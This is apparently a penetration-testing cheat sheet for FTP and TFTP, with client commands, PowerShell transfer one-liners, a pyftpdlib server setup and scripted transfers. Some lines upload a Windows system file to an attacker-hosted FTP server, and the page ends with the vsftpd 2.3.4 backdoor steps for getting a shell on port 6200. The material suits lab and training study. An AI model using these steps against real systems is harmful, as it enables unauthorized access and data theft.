FTP

File Transfer Protocol

  • Uses Port 20 for Data and Port 21 for Commands.

  • It can use UDP over Port 69 for TFTP.

  • Always check for anonymous login being enabled.

Basic Commands

  • Start the service:

ftp <IP>

  • To login as any other user:

USER <user>

  • To specify a password:

PASS <password>

  • Download a file:

get <file>

  • Upload a file:

put <file_path> <destination_path>

  • Passive mode:

passive

  • Change the local directory for downloads:

lcd /home/<your-username>

  • Exit the session:

quit

  • Transferring files using powershell:

(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

  • Upload a file using powershell

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

  • If anonymous login is enabled, use curl:

curl -O ftp://<server-address>/path/to/file
TFTP

This is the default config file for TFTP --> tftpd-hpa

Start the service
tftp <IP>

  • Uses binary mode for non-text files:

mode binary

  • Uses ASCII mode for text files:

mode ascii

  • To look for files in the TFTP root:

find / -name file.txt
Enumeration

  • Is always good practice to look for vulnerabilities:

searchsploit <version>

  • Always check where you land:

pwd

  • List directories:

dir
Set a Python Server

  • First, Install the Python module:

sudo pip3 install pyftpdlib

  • Then, set the server:

sudo python3 -m pyftpdlib --port 21

  • By default, pyftpdlib uses Port 2121 and anonymous authentication is enabled by default if we don't set a user and password.

Allow write permissions
sudo python3 -m pyftpdlib --port 21 --write
Create a command file

  • Is possible to create command files and execute then using the -s flag:

ftp -v -n -s:ftpcommand.txt

  • Copy this in to a file to create a script that will download a file:

open 192.168.49.128
USER anonymous
binary
GET file.txt
bye

  • Copy this in to a file to create a script that will upload a file to the server:

open 192.168.49.128
USER anonymous
binary
PUT c:\windows\system32\drivers\etc\hosts
bye
Vulnerabilities

vsftpd 2.3.4

  • Connect to FTP with any username that contains :), and any password.

  • Then connect to port 6200 to get a shell:

nc 10.10.10.131 21

  • Now connect to the backdoor:

nc 10.10.10.131 6200
PreviousDNSNextHTTP/HTTPS

Last updated